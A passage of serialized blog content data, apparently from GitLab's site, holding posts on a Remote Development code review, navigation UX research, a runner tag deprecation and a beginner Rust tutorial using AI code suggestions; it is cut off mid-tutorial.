true\n\n  field :agent, ::Types::AgentType,\n    description: \"Agent associated with this workspace\",\n    null: true\n\n  # Resolver for the user association\n  def user\n    object.user\n  end\n\n  # Resolver for the agent association\n  def agent\n    object.agent\n  end\nend\n```\n\n#### Treating performance as a priority\nBoth contributors acknowledged the significance of addressing the performance concern, with Laura emphasizing its importance. They agreed to prioritize the separate issue dedicated to resolving the N+1 queries and ensuring proper test coverage.\n\nHere's a code snippet from the revised implementation:\n\n```ruby\n# Revised Implementation with Preloading\nclass WorkspaceType \u003C BaseType\n  field :user, ::Types::UserType,\n    description: \"User associated with this workspace\",\n    null: true\n\n  field :agent, ::Types::AgentType,\n    description: \"Agent associated with this workspace\",\n    null: true\n\n  # Resolver for the user association with preloading\n  def user\n    ::Dataloader.for(::User).load(object.user_id)\n  end\n\n  # Resolver for the agent association with preloading\n  def agent\n    ::Dataloader.for(::Agent).load(object.agent_id)\n  end\nend\n```\n\n#### Considering future usage\nChad expressed excitement about the possibility of the new feature gaining significant usage. He humorously stated that encountering enough legitimate traffic on workspaces to trigger any performance impact would be a delightful problem to have, as it would indicate a growing user base.\n\n#### Collaboration and performance improvement\nThe code review exemplifies the collaborative and proactive approach of our team in optimizing the WorkspaceType. The team's dedication to addressing performance concerns ensures that our codebase remains performant and efficient, even as our user base grows.\n\n![BE2](https://about.gitlab.com/images/blogimages/remote-development/BE2.png){: .shadow.medium}\n\n## Frontend code review\nThe frontend code review process was managed by our resident `Create: IDE` frontend maintainers, [Paul Slaughter](https://gitlab.com/pslaughter) and [Enrique Alcátara](https://gitlab.com/ealcantara). Additionally, a significant portion of the new frontend UI code had already undergone separate reviews and was merged to master, contributing to the overall quality of the Remote Development feature.\n\n### Example: Collaborative code improvement for ApolloCache Mutators\nPaul started a thread on an old version of the diff related to `ee/spec/frontend/remote_development/pages/create_spec.js``. The code snippet in question involved creating a mock Apollo instance and writing queries to the cache.\n\n#### The initial implementation\nInitially, the code involved writing to the cache twice, which raised concerns among the maintainers, Paul and Enrique. Paul pointed out that the duplicate write was unintentional and wondered if the writeQuery was even necessary, given the removal of @client directives. However, he also acknowledged the need to test that the created workspace was added to the ApolloCache.\n\n```javascript\n// Initial Implementation\nconst buildMockApollo = () => {\n  // ... Other mock setup ...\n  \n  // Initial writeQuery for userWorkspacesQuery\n  mockApollo.clients.defaultClient.cache.writeQuery({\n    query: userWorkspacesQuery,\n    data: USER_WORKSPACES_QUERY_EMPTY_RESULT.data,\n  });\n\n  // ... Other mock setup ...\n};\n```\n\n#### Identifying a potential issue\nEnrique agreed that the duplicate write was unintentional and probably introduced during a rebase. He explained that pre-populating the cache with a user workspaces query empty result was essential for the mutator to have a place to add the workspace. However, he encountered difficulties in making the workaround work effectively in unit tests.\n\n#### Resolving the issue\nPaul highlighted the significance of pre-populating the cache with the user workspaces query empty result. He suggested leaving a comment to explain the necessity of the initial writeQuery, as it would be implicitly coupled to future writeQuery operations.\n\n```javascript\n// Resolving the Issue - Leaving a Comment\n// Pre-populate the cache with user workspaces query empty result to provide a place\n// for the mutator to add the Workspace later. This is needed for both test and production environments.\nmockApollo.clients.defaultClient.cache.writeQuery({\n  query: userWorkspacesQuery,\n  data: USER_WORKSPACES_QUERY_EMPTY_RESULT.data,\n});\n```\n\nHowever, upon further investigation, Paul discovered that the writeQuery might not be needed, and the issue might be a symptom of an underlying problem. He decided to open a separate thread to address this concern and indicated that he would work on a separate MR to handle it.\n\n```javascript\n// Resolving the Issue - Opening a Separate Thread and MR\n// Open a separate thread to discuss potential underlying issues.\n// Plan to work on a separate MR to handle it.\n// Stay tuned for updates!\n```\n\n![FE](https://about.gitlab.com/images/blogimages/remote-development/FE.png){: .shadow.medium}\n\n## What we learned\nAs part of the Remote Development team, we faced the challenge of merging the Remote Development Rails monolith integration branch to meet our ambitious release goal. We adapted to last-minute pivots and focused on minimizing risks during the review process. The successful merge brought us one step closer to benefiting GitLab users worldwide. We acknowledged areas for improvement and remained committed to refining the feature's quality. Our journey reflects our dedication to delivering results, embracing change, and pushing boundaries in the DevOps community. The release of the Remote Development feature in GitLab 16.0 is a significant milestone for GitLab, and we continue to iterate and grow, providing innovative solutions for developers worldwide.\n\nAn outcome of this process was an ongoing conversation to propose a [simplified review process for greenfield features](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/125117). Through this proposal, we aim to distill the lessons we learned during this experience and provide guidance to future teams facing similar challenges.\n\n## What is next for Remote Development?\nAfter the merge of the MR, several changes were implemented:\n- The first production tests were conducted to ensure the stability and functionality of the merged code.\n- Collaboration took place between the Dev Evangelism and Technical Marketing teams, focusing on [creating content](https://gitlab.com/groups/gitlab-com/marketing/developer-relations/-/epics/190). This collaboration aimed to troubleshoot any issues that arose during the merge.\n- Feedback from the community was taken into account, and changes were made to address the concerns raised. This feedback was incorporated into an [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/410031) and influenced the overall roadmap and direction of the project.\n\nDo you want to [contribute to GitLab](/community/contribute/)? Come and join in the conversation in the `#contribute` channel on GitLab's [Discord](https://discord.gg/gitlab), or just pop in and say \"Hi.\"\n\n",[696,943,1444,3949,2704,815],{"slug":8925,"featured":6,"template":678},"remote-development-beta","content:en-us:blog:remote-development-beta.yml","Remote Development Beta","en-us/blog/remote-development-beta.yml","en-us/blog/remote-development-beta",{"_path":8931,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8932,"content":8938,"config":8945,"_id":8947,"_type":16,"title":8948,"_source":17,"_file":8949,"_stem":8950,"_extension":20},"/en-us/blog/navigation-research-blog-post",{"title":8933,"description":8934,"ogTitle":8933,"ogDescription":8934,"noIndex":6,"ogImage":8935,"ogUrl":8936,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8936,"schema":8937},"How we overhauled GitLab navigation","Users weren't getting what they needed from our navigation. Here are the steps we took to turn that experience around.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682884/Blog/Hero%20Images/navigation.jpg","https://about.gitlab.com/blog/navigation-research-blog-post","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we overhauled GitLab navigation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ashley Knobloch\"}],\n        \"datePublished\": \"2023-08-15\",\n      }",{"title":8933,"description":8934,"authors":8939,"heroImage":8935,"date":8941,"body":8942,"category":8943,"tags":8944},[8940],"Ashley Knobloch","2023-08-15","\nGitLab navigation was complex and confusing - that was the message we received from our users through issues and other feedback channels. Initially, to address these concerns, we conducted research around proposed solutions, but quickly found they wouldn't help users achieve their goals well enough to warrant implementing them. In the process of learning what wasn't working and what wouldn't work, we still didn't have clarity around *why* the navigation wasn't working. This article chronicles our journey to finding that clarity and developing navigation that is easier to use and better suited to our users' needs.\n\n## Our approach\nAs a first step, we reviewed past research and user feedback to ensure we had a solid understanding of what we had done and learned already. We found that we still needed more insight into why proposed changes weren’t receiving enough positive feedback to implement them.\n\nOur goals were straightforward:\n- understand what users are doing in GitLab\n- study how they navigate the platform\n- learn why they need certain navigation elements \n\nOur perspective shifted from validating proposed solutions to going back to revalidate the problems that exist with our navigation experience. Our hypothesis was that with a deeper understanding of our users’ behavior and mental models for how they navigate around GitLab, we could develop concepts to better match their needs and improve their overall experience.  \n\nThe scope of features in GitLab and the number of user personas across GitLab made this challenging. We have [16 personas](https://about.gitlab.com/handbook/product/personas/#user-personas) to represent different types of users, all with unique goals and techniques to achieve those goals. We focused our efforts on a subset of those personas that best represented usage across GitLab to ensure a holistic understanding of different user needs. We wanted to learn how navigation among different personas was similar and where it differed, what worked well with the current navigation, and what challenges users faced.\n\n## Studying key persona cohorts\nWe conducted [diary studies](https://about.gitlab.com/handbook/product/ux/ux-research/diary-studies/) with cohorts of our key personas to learn what their primary tasks and workflows were at a deeper level. This provided us with many real-world examples of how they navigate to their tasks and why. We also learned what worked well with their current workflows, what pain points existed, and what workarounds were being used (such as creating browser bookmarks, typing in the URL to pull browser history, or keeping a bunch of browser tabs open) to streamline their tasks in GitLab. \n\nWe learned that for some users, many of their primary tasks don’t require much navigation within GitLab because they use outside tools that link into GitLab through notifications (e.g., Slack and email) or use direct links through other tools. We also learned that often users’ work is quite scoped in GitLab, and they would like easier access to some of their core features without having to wade through all of the other features they don’t use. This illuminated some unmet needs that would improve their workflows, such as having the ability to customize navigation to access things important to them more quickly and streamline their path to relevant projects.\n\nLearning more about our users from a foundational perspective ensured that we had a solid base to build upon when considering changes to the navigation.\n\n## Anchoring to a North Star\nTo anchor the redesign process in user problems more broadly, a review of past feedback was analyzed that revealed three overarching themes with navigation-related feedback. These themes helped to guide the process and to remind us of the key problems we were trying to solve: \n- minimize feeling overwhelmed (ability to customize left sidebar)\n- orient users across the platform (differentiating groups and projects)\n- pick up where you left off (switching contexts)\n\nThe team continually mapped back design concepts to these themes to ensure potential solutions were rooted in user problems. \n\n## Evaluating and iterating\nNext, several navigation design concepts were developed and shared with users for feedback. Multiple rounds of [solution validation testing](https://about.gitlab.com/handbook/product/ux/ux-research/solution-validation-and-methods/) were conducted with our key personas to determine which design concepts to move forward with. The testing revealed how users felt about each design and also how well each design supported users completing core tasks. We identified a final concept that supported mature and new GitLab users with common workflows.\n\n## Understanding mental models for sidebar organization\nWe wanted to revisit our groupings in the left sidebar because we’ve heard over time that the organization can be confusing and unintuitive, especially some categories such as Operations. We needed to understand our users’ mental models for how they would group these items, and why. Learning the thought processes behind their organization was critical for us to know what changes to make that would align with user expectations. \n\nWe ran facilitated [card sort](https://about.gitlab.com/handbook/product/ux/ux-research/mental-modeling/#card-sorting) studies with our key personas to understand how they would group items in the left sidebar, and why. This helped us learn some areas that could benefit from readjusting, such as the Manage and Operate categories. We learned that users most often preferred to have analytics items together, for example, which is reflected in the Analyze tab. This insight, combined with patterns in analytics data, informed changes to the groupings in the left sidebar to better support workflows. \n\n## Launching and learning\nPrior to launching to external users, the new navigation was released to internal team members and we collected [feedback](https://gitlab.com/gitlab-org/gitlab/-/issues/403059) to help iterate and improve the experience. \n\nNext, we launched the new navigation to external users as a toggle that could be turned on optionally. During this initial launch, a [longitudinal study](https://about.gitlab.com/handbook/product/ux/ux-research/longitudinal-studies/) was conducted with a sample of GitLab users to learn how they experienced the change in the context of their real work. Over time, the study would provide insight into adoption among the entire user base.  \n\nWe interviewed users prior to the monthlong study to learn more about their experience with the existing navigation. Then, they began using the new navigation while completing surveys and participating in interviews at checkpoints in the beginning, middle, and end of the month. This enabled us to capture their initial impressions of the new navigation, what they liked/disliked, how the new experience compared to the previous one, and if their sentiment changed over the course of the month as they continued to use the new navigation. \n\nUsers in this study found the new navigation to be an improvement from the previous one, and most preferred its features, including:\n- the ability to pin items streamlined common workflows\n- the new task-based sidebar categories in the sidebar, which they said felt more approachable, especially for newer users\n- the new navigation changes, which they said weren’t too overwhelming and felt familiar\n\nWe also learned about some opportunities to iterate and improve the new experience. For instance, some users pointed out:\n- the inability to pin entire Projects, Groups, or specific pages makes it difficult to streamline other workflows\n- some users unpin items accidentally\n- the overall lack of color can cause some features to blend in or be missed\n- it's not always easy to know what’s new in GitLab  \n\n## What’s next: Iterate, listen, and iterate again\nTo capture large-scale feedback on navigation over time, we launched a new navigation-focused quarterly survey in Q1 (February) of this year. This first quarter data established a baseline of our old navigation, and beginning in Q2 (May), we began collecting data on the new navigation experience. We will monitor this closely, and look for themes to help us learn what is working well and what may need further iteration. \n\nThis survey, along with our longitudinal study feedback and various other user feedback sources, will provide insights to help prioritize iterative improvements to the new navigation experience. Stay tuned for changes, and keep sharing [your navigation feedback](https://gitlab.com/gitlab-org/gitlab/-/issues/409005) with us!\n","insights",[676,2249,1307],{"slug":8946,"featured":6,"template":678},"navigation-research-blog-post","content:en-us:blog:navigation-research-blog-post.yml","Navigation Research Blog Post","en-us/blog/navigation-research-blog-post.yml","en-us/blog/navigation-research-blog-post",{"_path":8952,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8953,"content":8958,"config":8962,"_id":8964,"_type":16,"title":8965,"_source":17,"_file":8966,"_stem":8967,"_extension":20},"/en-us/blog/removing-tags-from-small-saas-runner-on-linux",{"title":8954,"description":8955,"ogTitle":8954,"ogDescription":8955,"noIndex":6,"ogImage":8246,"ogUrl":8956,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8956,"schema":8957},"Removing tags from our small SaaS runner on Linux","With GitLab 17.0, we are removing most tags from our small SaaS runner on Linux. Find out if you are affected and the change you need to make.","https://about.gitlab.com/blog/removing-tags-from-small-saas-runner-on-linux","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Removing tags from our small SaaS runner on Linux\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Gabriel Engel\"}],\n        \"datePublished\": \"2023-08-15\",\n      }",{"title":8954,"description":8955,"authors":8959,"heroImage":8246,"date":8941,"body":8960,"category":736,"tags":8961},[769],"\nIn GitLab 17.0, we are updating the tags of our [small SaaS runner on Linux](https://docs.gitlab.com/ee/ci/runners/saas/linux_saas_runner.html) to be consistent with our other Linux runners.\n\n## Who will be affected?\nIf you are using the small SaaS runner on Linux with any tag other than `saas-linux-small-amd64`, you will be affected as all other tags such as `docker` or `linux` will be deprecated. Job configurations that use a deprecated tag will become stuck.\n\nAn example job configuration that will be stuck could look like this:\n\n```yaml\ntest-invalid-tag:\n  stage: test\n  tags:\n  - docker\n  - linux\n  script:\n    - echo \"I'm affected and will be stuck after 17.0\"\n```\n\n![Stuck Job](https://about.gitlab.com/images/blogimages/2023-08-02-removing-tags-from-our-small-saas-runner-on-linux/stuck-job.png)\n\nThe small SaaS runner on Linux is configured to run untagged jobs; this remains unchanged.\nSo, if you're using the small Linux runner but haven't specified a tag, the behavior of your job will not change.\n\n## How to avoid jobs getting stuck\n\nTo avoid jobs getting stuck after the 17.0 release, you should change the tag in your `.gitlab-ci.yaml` file to `saas-linux-small-amd64`.\n\nAn example job configuration that will work:\n\n```yaml\ntest-correct-tag:\n  stage: test\n  tags:\n  - saas-linux-small-amd64\n  script:\n    - echo \"I'm running as expected\"\n```\n\nAnother example that will work is to define no tag, so the runner will pick up an untagged job:\n\n```yaml\ntest-untagged:\n  stage: test\n  script:\n    - echo \"I'm running as expected\"\n```\n\n## References\n\n- [What are SaaS runners?](https://docs.gitlab.com/ee/ci/runners/)\n- [SaaS runners on Linux documentation](https://docs.gitlab.com/ee/ci/runners/saas/linux_saas_runner.html)\n- [Tags - '.gitlab-ci.yml' Keyword Reference](https://docs.gitlab.com/ee/ci/yaml/#tags)\n",[110,534,695],{"slug":8963,"featured":6,"template":678},"removing-tags-from-small-saas-runner-on-linux","content:en-us:blog:removing-tags-from-small-saas-runner-on-linux.yml","Removing Tags From Small Saas Runner On Linux","en-us/blog/removing-tags-from-small-saas-runner-on-linux.yml","en-us/blog/removing-tags-from-small-saas-runner-on-linux",{"_path":8969,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8970,"content":8974,"config":8979,"_id":8981,"_type":16,"title":8982,"_source":17,"_file":8983,"_stem":8984,"_extension":20},"/en-us/blog/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started",{"title":8971,"description":7892,"ogTitle":8971,"ogDescription":7892,"noIndex":6,"ogImage":2675,"ogUrl":8972,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8972,"schema":8973},"Learning Rust with a little help from AI","https://about.gitlab.com/blog/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Learning Rust with a little help from AI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"}],\n        \"datePublished\": \"2023-08-10\",\n      }",{"title":8971,"description":7892,"authors":8975,"heroImage":2675,"date":8976,"body":8977,"category":791,"tags":8978},[4808],"2023-08-10","Learning a new programming language can help broaden your software development expertise, open career opportunities, or create fun challenges. However, it can be difficult to decide on one specific approach to learning a new language. Artificial intelligence (AI) can help. In this tutorial, you'll learn how to leverage AI-powered GitLab Duo Code Suggestions for a guided experience in learning the Rust programming language.\n\n- [Preparations](#preparations)\n  - [VS Code](#vs-code)\n  - [Code Suggestions](#code-suggestions)\n- [Learning a new programming language: Rust](#learning-a-new-programming-language-rust)\n    - [Development environment for Rust](#development-environment-for-rust)\n    - [Hello, World](#hello-world)\n- [Cargo: Bringing structure into Rust](#cargo-bringing-structure-into-rust)\n- [Automation: Configure CI/CD pipeline for Rust](#automation-configure-cicd-pipeline-for-rust)\n- [Continue learning Rust](#continue-learning-rust)\n    - [Define variables and print them](#define-variables-and-print-them)\n    - [Explore variable types](#explore-variable-types)\n    - [Flow control: Conditions and loops](#flow-control-conditions-and-loops)\n    - [Functions](#functions)\n    - [Testing](#testing)\n- [What is next](#what-is-next)\n    - [Async learning exercises](#async-learning-exercises)\n    - [Share your feedback](#share-your-feedback)\n\n## Preparations \nChoose your [preferred and supported IDE](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#enable-code-suggestions-in-other-ides-and-editors), and follow the documentation to enable code suggestions for [GitLab.com SaaS](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#enable-code-suggestions-on-gitlab-saas) or [GitLab self-managed instances](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#enable-code-suggestions-on-self-managed-gitlab).\n\nProgramming languages can require an install of the language interpreter command-line tools or compilers that generate binaries from source code to build and run the application.\n\nTip: You can also use [GitLab Remote Development workspaces](/blog/quick-start-guide-for-gitlab-workspaces/) to create your own cloud development environments, instead of local development environments. This blog post focuses on using VS Code and the GitLab Web IDE. \n\n### VS Code\nOn macOS, you can [install VS Code](https://code.visualstudio.com/download) as a Homebrew cask or manually download and install it. \n\n```shell\nbrew install --cask visual-studio-code \n```\n\nNavigate to the `Extensions` menu and search for `gitlab workflow`. Install the [GitLab workflow extension for VS Code](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow). \n\nTip: VS Code will also detect the programming languages, and offer to install additional plugins for syntax highlighting and development experience. \n\n### Code Suggestions\nIt can help to familiarize yourself with suggestions before actually verifying the suggestions. GitLab Code Suggestions are provided as you type, so you do not need use specific keyboard shortcuts. To accept a code suggestion, press the `tab` key. Also note that writing new code works more reliably than refactoring existing code. AI is non-deterministic, which means that the same suggestion may not be repeated after deleting the code suggestion. While Code Suggestions is in Beta, we are working on improving the accuracy of generated content overall. Please review the [known limitations](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#known-limitations), as this could affect your learning experience. \n\n## Learning a new programming language: Rust \nNow, let's dig into learning Rust, which is one of the [supported languages in Code Suggestions](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#supported-languages). \n\n[Rust by Example](https://doc.rust-lang.org/rust-by-example/) provides a great tutorial for beginners, together with the official [Rust book](https://doc.rust-lang.org/book/). The [Hands-on Rust book](https://hands-on-rust.com/) shows how to build a 2D game as a more practical approach. More examples are shared in [this Rust book list](https://github.com/sger/RustBooks). \n\nBefore diving into the source code, make sure to set up your development environment.\n\n### Development environment for Rust\n1) Create a new project `learn-rust-ai` in GitLab, and clone the project into your development environment. All code snippets are available in [this \"Learn Rust with AI\" project](https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai).\n\n```shell\ngit clone https://gitlab.com/NAMESPACE/learn-rust-ai.git\n\ncd learn-rust-ai\n\ngit status\n```\n\n2) Install Rust and the build toolchain. Fortunately, this is straightforward [following the Rust install documentation](https://www.rust-lang.org/tools/install).\n\nTip for using the generic installer: Download the script and run it after review. \n\n```\n# Download and print the script before running it\ncurl -Lvs https://sh.rustup.rs -o rustup-init.sh\n\n# Run the Rust installer script\nsh rustup-init.sh \n```\n\nExample on macOS using Homebrew:\n\n```\nbrew install rust\n```\n\n1) Optional: Install the [rust-analyzer VS Code extension](https://marketplace.visualstudio.com/items?itemName=rust-lang.rust-analyzer).\n\n2) Each exercise will invite you to compile the code with the [`rustc` command](https://doc.rust-lang.org/rustc/what-is-rustc.html), and later using [`cargo` as build tool and package manager](https://doc.rust-lang.org/cargo/index.html).\n\nYou are all set to learn Rust! \n\n### Hello, World\nWe will start with [Rust by Example](https://doc.rust-lang.org/rust-by-example/), and follow the [Hello, World exercise](https://doc.rust-lang.org/rust-by-example/hello.html).\n\nCreate a new file `hello.rs` in the root directory of the project and start with a comment saying `// Hello world`. Next, start writing the `main` function, and verify the code suggestion.\n\n![VS Code hello.rs Rust code suggestion, asking to accept](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-getting-started/learn_rust_ai_gitlab_code_suggestions_hello_world_suggested.png){: .shadow}\n\nAccept the suggestion by pressing the `tab` key and save the file (keyboard shortcut: cmd s). \n\n```\n// Hello world\n\nfn main() {\n    println!(\"Hello, world!\");\n}\n```\n\n![VS Code hello.rs Rust code suggestion, accepted](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-getting-started/learn_rust_ai_gitlab_code_suggestions_hello_world_accepted.png){: .shadow}\n\nCommit the change to the Git repository. In VS Code, use the keyboard shortcut `ctrl shift G`, add a commit message, and hit `cmd enter` to submit. \n\nUse the command palette (`cmd shift p`) and search for `create terminal` to open a new terminal. \n\nBuild and run the code.\n\n```shell\nrustc hello.rs\n\n./hello\n```\n\n![hello.rs Rust code suggestion, accepted, compiled, run](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-getting-started/learn_rust_ai_gitlab_code_suggestions_hello_world_cli_build.png){: .shadow}\n\nTip: Adding [code comments in Rust (`//`)](https://doc.rust-lang.org/reference/comments.html) before you start writing a function or algorithm will help Code Suggestions with more context to provide better suggestions. In the example above, we did that with `// Hello world`, and will continue doing so in the next exercises. \n\n## Cargo: Bringing structure into Rust\n[Cargo](https://doc.rust-lang.org/rust-by-example/cargo.html) is the official Rust package management tool. It is more than that - you can run build and test commands because Cargo understands them as well. \n\nYou can initialize a new Cargo configuration in the current directory tree with the following command:\n\n```shell\ncargo init\n```\n\nThe directory tree invites you to add the source code into the `src/` directory, while `Cargo.toml` manages the dependencies and used compiler versions. The `.gitignore` file is also added including best practices. \n\n```shell\ntree\n.\n├── Cargo.toml\n├── README.md\n├── hello\n├── hello.rs\n└── src\n    └── main.rs\n```\n\nTry building the code and running it using `cargo`.\n\n```shell\ncargo build\n\ncargo run\n```\n\nCommit all changes and push them to your GitLab project.\n\n```shell\ngit commit -avm \"Initialize Cargo\"\n\ngit push\n```\n\nAfter exploring Cargo, let's make sure that our code is continuously tested while learning Rust. The next section explains how to set up [GitLab CI/CD](https://about.gitlab.com/topics/ci-cd/) for Rust. \n\n## Automation: Configure CI/CD pipeline for Rust\nThe [CI/CD pipeline](https://docs.gitlab.com/ee/ci/) should run two jobs in two stages: Build and test the code. The default container [image](https://docs.gitlab.com/ee/ci/yaml/#image), `rust:latest`, works in the first iteration. In order to save resources, the CI/CD configuration also supports [caching](https://docs.gitlab.com/ee/ci/caching/) for downloaded dependencies and build objects. The `CARGO_HOME` variable is set to the CI/CD job home directory to ensure everything gets appropriately cached.\n\n```yaml\nstages:\n  - build\n  - test \n\ndefault:\n  image: rust:latest\n  cache:\n    key: ${CI_COMMIT_REF_SLUG}\n    paths:                      \n      - .cargo/bin\n      - .cargo/registry/index\n      - .cargo/registry/cache\n      - target/debug/deps\n      - target/debug/build\n    policy: pull-push\n\n# Cargo data needs to be in the project directory to be cached. \nvariables:\n  CARGO_HOME: ${CI_PROJECT_DIR}/.cargo      \n```\n\nThe CI/CD jobs inherit the [`default`](https://docs.gitlab.com/ee/ci/yaml/#default) values, and specify the cargo commands in the [`script` section](https://docs.gitlab.com/ee/ci/yaml/#script).\n\n```yaml\nbuild-latest:\n  stage: build\n  script:\n    - cargo build --verbose\n\ntest-latest:\n  stage: build\n  script:\n    - cargo test --verbose\n```\n\nYou can see an example in [this MR](https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai/-/merge_requests/1/diffs).\n\n## Continue learning Rust \nMake sure to add new source code into the `src/` directory. \n\n### Define variables and print them\nPractice adding a few more [print](https://doc.rust-lang.org/rust-by-example/hello/print.html) statements into `src/main.rs`, and then build and run the code again.\n\n1) Define a variable called `name` and assign your name as string value.\n\n2) Print the name, including a string prefix saying `Hello, `. \n\n![VS Code main.rs Rust code suggestion, first step in print](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-getting-started/learn_rust_ai_gitlab_code_suggestions_print_variable_first.png){: .shadow}\n\n![VS Code main.rs Rust code suggestion, second step in print](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-getting-started/learn_rust_ai_gitlab_code_suggestions_print_variable_second.png){: .shadow}\n\n1) Open a new terminal in VS Code using the command palette (keyboard shortcut `cmd + shift + p`) and search for `terminal`.\n\n2) Build and run the code with the `cargo build` and `cargo run` commands. \n\n![VS Code terminal with cargo build and run output](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-getting-started/learn_rust_ai_gitlab_code_suggestions_print_variable_cargo_build_run_terminal.png){: .shadow}\n\nAn example solution can be found [here](https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai/-/blob/main/solutions/variable_print.rs). \n\n### Explore variable types \nDefine different variable value types ([primitives](https://doc.rust-lang.org/rust-by-example/primitives.html)) and embed them into the `print` statements. Maybe they feel familiar with other programming languages?\n\nTip: Use code comments to see which code suggestions can be useful to learn. Start with typing `// Integer addition` and see what code suggestions you can add.\n\n![VS Code main.rs Rust code suggestion, primitive types with literals and expressions](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-getting-started/learn_rust_ai_gitlab_code_suggestions_primitive_types_literals_operators.png)\n\nExperiment with GitLab Duo Code Suggestions. The shown examples are non-deterministic, but you may be able to add additions, subscriptions, multiplications, etc., and the corresponding `println` statements just by accepting code suggestions and continuing the flow with `enter` or completing the code statements. This workflow can create a chain of code suggestions that can help you learn the Rust language. \n\n![Literals and expressions, first suggestion](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-getting-started/learn_rust_ai_gitlab_code_suggestions_literals_expressions_01.png){: .shadow}\n![Literals and expressions, second suggestion](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-getting-started/learn_rust_ai_gitlab_code_suggestions_literals_expressions_02.png){: .shadow}\n![Literals and expressions, third suggestion](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-getting-started/learn_rust_ai_gitlab_code_suggestions_literals_expressions_03.png){: .shadow}\n\nAn example solution can be found [here](https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai/-/blob/main/solutions/literals_expressions.rs). \n\nThe code suggestions are not perfect. Sometimes there are errors that require you to fix the problems. When writing this blog post, I had to fix two missing semicolons at the end of the code lines. The great thing about the Rust compiler is that the error messages tell you exactly where the problem happens with suggestions to fix them. Code Suggestions and the Rust-provided build chain make writing Rust code more efficient. \n\n```rust\nprintln!(\"Hello, {}!\", name)\n\n// Integer subtraction\nlet y = 9 - 4\n```\n\n![Terminal build, errors, Rust compiler help](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-getting-started/learn_rust_ai_gitlab_code_suggestions_terminal_errors_rust_help.png){: .shadow}\n\nYou can try to provoke the same error by removing a semicolon at the end of a statement and then running `cargo build` in the terminal again. The Rust compiler will also warn you about unused variables to help with better code quality. The screenshot shows warnings for variable definitions, and also a CLI command to fix them. \n\n![Terminal build, warnings, Rust compiler help](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-getting-started/learn_rust_ai_gitlab_code_suggestions_terminal_warnings_rust_help.png){: .shadow}\n\n### Flow control: Conditions and loops \nNext, let's focus on [flow control](https://doc.rust-lang.org/rust-by-example/flow_control.html) with conditions, loops, etc., and how to implement them.\n\n1) Start typing `// Flow control` and see which suggestions are provided.\n\n2) Experiment with the code, and continue defining a boolean variable `v` which is set to true. \n\n```rust\n  // Flow control\n  let v = true;\n\n```\n\n![Conditions, boolean variable](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-getting-started/learn_rust_ai_gitlab_code_suggestions_flow_control_conditions_01.png){: .shadow}\n![Conditions, boolean variable, if condition](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-getting-started/learn_rust_ai_gitlab_code_suggestions_flow_control_conditions_02.png){: .shadow}\n\n1) Start typing `// Loops` and experiment with the code suggestions. \n\nLet's assume the loop looks the like following snippet. It does not have a loop counter which gets printed on every loop execution.\n\n```rust\n// Loops\nlet mut count = 0;\n\nloop {\n    count += 1;\n\n    if count == 10 {\n        break;\n    }\n}\n```\n\n2) Start typing `println!` and see which code suggestions are provided, for example `println!(\"Count: {}\", count);`. \n\n![Loops, loop counter print suggestion](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-getting-started/learn_rust_ai_gitlab_code_suggestions_flow_control_loops_print_counter.png)\n\n3) Apply the suggestions, and execute `cargo build && cargo run` on the terminal again. \n\nLet's learn more: Rust supports different loop types, for example [while loops](https://doc.rust-lang.org/rust-by-example/flow_control/while.html), [for loops](https://doc.rust-lang.org/rust-by-example/flow_control/for.html), etc. \n\n1) Type `// While loop` and verify the code suggestions. Repeat the same for `// For loop`.\n\n```rust\n// While loops\nlet mut count = 0;\n\nwhile count \u003C 10 {\n    count += 1;\n    println!(\"Count: {}\", count);\n}\n\n// For loops\nlet a = [10, 2, 3, 4, 5];\n\nfor element in a {\n    println!(\"Element: {}\", element);\n}\n```\n\nThere is more to learn with loops and conditions: Iterate over arrays, lists, maps, slices. Practice with writing comments for `// Maps and sets` and `// Vectors and strings`. \n\n![Vectors, 